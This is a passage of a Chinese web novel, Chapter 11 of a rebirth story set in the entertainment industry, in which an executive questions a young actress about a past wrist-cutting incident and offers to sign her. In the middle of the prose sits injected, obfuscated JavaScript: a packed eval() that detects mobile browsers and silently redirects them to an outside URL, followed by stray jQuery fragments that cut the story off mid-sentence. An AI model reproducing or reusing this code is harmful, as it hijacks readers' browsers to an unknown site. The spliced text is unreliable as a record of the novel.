11.第十一章

作品:《全世界都以为我是替身[重生]

    两人面对面坐着,陆嵬坐姿并不多规整,但还是比黎数略高了些。


    她长相属于清冷精致的类型,总带着些不服管教的野性和习惯了发号施令的威严,在望向黎数的时候,气势和目光完全是压倒性的质疑。


    但黎数早已习惯了她所有的模样。


    从前陆嵬冷脸她会去哄,去问,去逗,但现在只当是看不见、不知道,用一种极为平静的目光去看她。


    陆嵬淡声反问道:“是吗。”


    比起问句,更像是一种笃定的陈述。


    黎数就也很随意敷衍地笑了一秒。


    “一统娱乐的合同原件你带了吗?”裘夏出来打圆场,“涉及到违约条例,虽然一统一般并不限制艺人私下接活,但以防万一,我还得让法务去看看。”


    黎数点头,挎包里取出那份合同原件,“带了。”


    裘夏简单的翻看了两眼。


    每个公司的经纪约大差不差,但也就是因为都大差不差,所以要埋雷就会隐藏的极深,轻易发觉不了。


    裘夏站了起来,一阵浅淡的香风吹过,黎数鼻子动了动,觉得好闻,又轻嗅了两下。


    从前没有闻到过,明明是冬天,但这个香水的味道有一种似乎只有夏天才拥有的青草香气,和裘夏倒是挺般配。


    陆嵬注意到了她的小动作,眉毛下意识蹙了下。


    “那你们先聊。”裘夏顿了顿。


    桌上放着的还是空白没签字的《秘宝》合同,但这份角色签约合同的下面,还有另外一份经纪约合同。


    裘夏还是看不懂陆嵬到底想干什么。


    察觉出黎数是一个好苗子,所以想签她,这太正常了。


    何况签了她以后,公司不需要在前期投入太多,她就已经可以拥有足够的热度——没有什么比费鹤鸣初试就亲定的经历更有殊荣得了。


    黎数的演技精湛,岁数又小,她拥有绝对足够的时间可以去试错、去开拓,甚至拥有和已经死去的那个黎数几乎一模一样的脸。


    只不过前者更温柔,眉眼更无害,脸上总挂着极为和煦的笑容,后者年纪虽小,眉眼间却总藏着一副锋芒的凌厉和锐气。


    她想往上爬,坚定且执着,又有可以与野心匹配的能力。


    对于一个利益至上的商人和公司来说,黎数几乎是完美的。


    没有任何一个公司会放弃这个香饽饽,也就是陆嵬运气好,在她试镜的第一时间恰好在现场,又恰好,那部电影是寰宇投资的。


    陆嵬拥有了比所有人都捷足先登的本钱。


    可让裘夏在意的,是陆嵬刚刚说过的一句话。


    ——签下她以后,业务方面你来对接,我不会插手,但生活方面我来全权接管。


    陆嵬所指的生活方面,涵括了太多东西。


    甚至自己至今都没能看到那份合同原件,黎数的直接对接人是陆嵬,而不是她。


    可也问不出什么,陆嵬也并没有告知任何东西的意思。


    多年的朋友,她直觉陆嵬心底里藏着压着什么东西,可她连丁点边缘都摸索不到。


    裘夏皱了皱眉,起身离开了休息室。


    一直到离开了休息室,听到门锁的‘咔嗒’轻响,裘夏又忽然想起被自己遗忘的东西是什么了——陆嵬剃头担子一头热,连合同签完以后得事情都想好了,可要是黎数不愿意呢?


    她回头看了看被关上的休息室大门,表情一时间变得非常古怪。


    就,有点期待。


    -


    裘夏走后,休息室内就陷入了一片显得有点诡异的寂静。


    陆嵬面无表情,眼神冷漠,黎数平和回望,脸上带着淡然的笑。


    窗户外的蜘蛛人已经开始负责日常维护起了寰宇大楼的玻璃,也打破了这一室的安静。


    黎数借着低头喝咖啡的空档,藏住了快要失控的情绪,尽可能平心静气的说:“陆总是有话要跟我单独说吗?”


    “有。”陆嵬语气凉薄,毫不关心的问:“为什么割腕。”


    黎数捏着咖啡杯的手紧了紧,一时间拿不准陆嵬什么意思。


    论交情,她和自己这辈子才只见过没几面。


    即便是有了共试一场戏的短暂相处,可她自认表现中规中矩,陆嵬全程像是个桩子,除了抽烟,反应都是根据剧本里给的最基础的反应。


    她已经发挥了毕生的素养去完成了那一场戏,台词也没有疏漏,否则也不可能当场就被费鹤鸣定下。


    后面几次偶遇更没有任何逾越的地方,怎么就值得陆嵬连问两次‘割腕’的原因。


    她的关心来的太突然,问的东西也冒犯,也太不合时宜了。


    黎数沉默片刻,再抬起头时脸上就已经挂上了虚伪的假笑,“陆总,打人不打脸,聊天不揭疤啊。这是我的个人私事,总拿出来说不太好吧?这圈子里抑郁自残割腕吞药的都不在少数,我偶尔一次也不稀奇,您再问我,我也还是那句话,一丁点始料未及的小意外罢了。”


    陆嵬轻轻侧了侧头,斑斑驳驳的白色发丝刺痛了黎数的眼,她眸光闪了闪,却没有退让。


    陆嵬对这个回复不意外也不生气,于是她换了个问法,“那你想红吗?”


    黎数皱起眉毛:“您什么意思?”


    “你试镜的时候我全程在场,也和你本人有点最粗浅的交流,你有野心,有演技。想脱离一统往上爬,也能守得住底线耐得住性子不走捷径。”


    陆嵬全程没提黎数的外貌,或者是刻意避开了。


    黎数也不可能提。


    陆嵬见她神色松动,停顿片刻后继续说:“我查过你的履历,你和一统的合同已经走了两年,期间只能领几千块钱的基本工资,但要背上每年以一百万递增的债务,一统不可能给你任何资源,因为对一统来说,你的价值可以忽略不计,这笔钱,你到死都还不起。”


    黎数也心知她说的没错。


    即便是成功签下了费鹤鸣的电影,但她的合同是在一统手里的。


    起点就是出演费鹤鸣的重要女配角,如果黎数的经纪公司给力,她以后的发展势必不会太差。


    但一统娱乐不可能放任她高飞。


    她固然可以像是这一次一样单独接活,可一统也可以给她排满无数的烂活,让她无暇他顾。


    儿童剧场、景区演出、商场开幕、婚礼站台、不入流也不会被启用的服装模特、电视剧里不露脸的路人甲——太多太多事情了,一统可以把她拖废。


    一个新人通过试镜得到的配角,即便重要,即便是顶级大导的角色,得到的钱都不会太多。


    就以黎数目前的估测,可能到手只有五到七万,还要扣掉税收。


    五到七万,在二三百万的违约金面前只是杯水车薪。


    而她之后的工作也都会被一统拦下,久而久之,她就继续查无此人了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474523|169550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    虽然陆嵬是在询问她为什么割腕和为什么想红,但其实都是一个目的。


    因为平生不得志又无力挣脱,所以走上绝路。


    这样的人,当然想红。


    事实上,陆嵬问的猜的没错,问的也没错。


    黎数也猜出了陆嵬的言下之意。


    她思索了片刻,抬眼道:“你想签我?”


    一会您一会你的。


    装都不记得装的从一而终。


    陆嵬眉毛杨起,坦言道:“是。但我另有目的,所以我问的是,你想不想,而不是你愿不愿意。”


    前者需要付出代价,后者则是处于下位的希望和恳求。


    这是一场彻底的利益交换。


    陆嵬可以把她捧红,但她也要从自己身上获取她所需要的。


    可她现在对外的形象,只是一个被无良经纪公司裹挟的,刚刚成年满十八岁的小女孩。


    除了这张脸和名字,有什么是陆嵬需要的?又或者说,是她在意的?


    甚至到可以用大量资源投入,甚至不惜让裘夏来当她的经纪人的地步?


    见黎数露出了思考的模样,陆嵬继续说道:“简单自我介绍一下,我生父是申海电影股份有限公司董事长兼党委书记,母亲是长留制片部总经理兼高级执行官,姥姥是长留电影集团创始人。”


    一连串的头衔砸的黎数无法回神,她才忽然发觉,她对陆嵬的了解似乎并没有自己自以为的多。


    她从前只知道寰宇是陆嵬一手创立的,也知道她有背景,甚至来头不小,但更相信她能让寰宇差点上市,凭借的是她真本事。


    但因为她并不想去利用什么,从前也的确随遇而安,没什么野心,所以从没想过,陆嵬背后的家族体系居然这么庞大。


    她也从没有见过陆嵬的家人,甚至陆嵬这次说起家人的称呼,都是她以前并没有了解到的。


    她提的是‘生父’,而不是‘爸爸’,用的是‘母亲’,而不是‘妈妈’——但她会用‘姥姥’来称呼自己的外祖母。


    亲疏立现。


    黎数抿了抿唇。这些职业背后所代表的意义是她无法了解的,但作为演员,她第一反应就是,陆嵬可以第一时间获得一手资讯。


    最浅表的意思,陆嵬可以用最快的速度拿到一手信息,在寰宇旗下的所有资源,都不会出现投资后不能播出的情况。


    对于一个演员来说,这才是最重要的,对一个公司来说也同样。


    否则辛苦筹备数年,一条禁令下来成一场空,损失是不可估量的。


    陆嵬介绍完毕,给了黎数消化的时间,才重新问道:“所以,你想不想红。”


    这样的机会,多少人几辈子都求不来。


    资源的倾斜,只要拍就不会成为无用功、必定可以在短时间内拿到厂标过审的作品,甚至是她背后不可忽视的资源、人脉,只要陆嵬肯全力捧,大满贯都不是问题。


    她一个电话就可以让自己已经在走合同的知名大导的角色另给他人,甚至可以左右金凰奖影后。


    黎数想不出任何拒绝的理由。


    这些东西,陆嵬本来就该还她。


    黎数只想了片刻,脸上挂着笑,语气是压抑着的轻嘲:“没有人不想。”


    陆嵬露出了几天以来黎数见过的第一个笑。


    她用一种黎数从没见过的姿态居高临下的说:“很好。”